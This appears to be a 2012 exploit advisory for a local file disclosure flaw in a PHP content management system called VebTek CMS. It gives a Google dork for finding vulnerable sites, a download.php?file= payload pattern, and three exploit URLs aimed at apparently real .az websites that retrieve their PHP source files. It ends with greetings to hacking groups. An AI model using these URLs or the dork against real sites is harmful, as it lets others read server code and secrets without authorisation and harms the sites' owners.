# Name: VebTek CMS LFD Vulnerability # Google Dork: intext:"Hosted by VebTek" # Type: PHP # Date: 2012-01-27 # Author: BHG Security Center # Discovered by: Mr.XHat # Home: Black-HG.org/cc/ # Tested On: Linux (Apache) ########################### # Demo: http://localhost/[Path]/download.php?file=[LFD] # Exploit: http://plasadstex.az/2012/download.php?file=resize.php http://www.asadutoshow.az/2012/download.php?file=image.php http://worldfoasdasdod.az/2012/download.php?file=download.php ####################################################### Special Thanks To: Net.Edit0r | 3H34N | A.Cr0x | tHe.k!ll3r | ArYaIeIrAN | G3n3Rall | H-SK33PY | NoL1m1t And All #BHG Members Greets To: Inj3ct0r Team (1337day.com) and Exploit-db And All Underground Hackers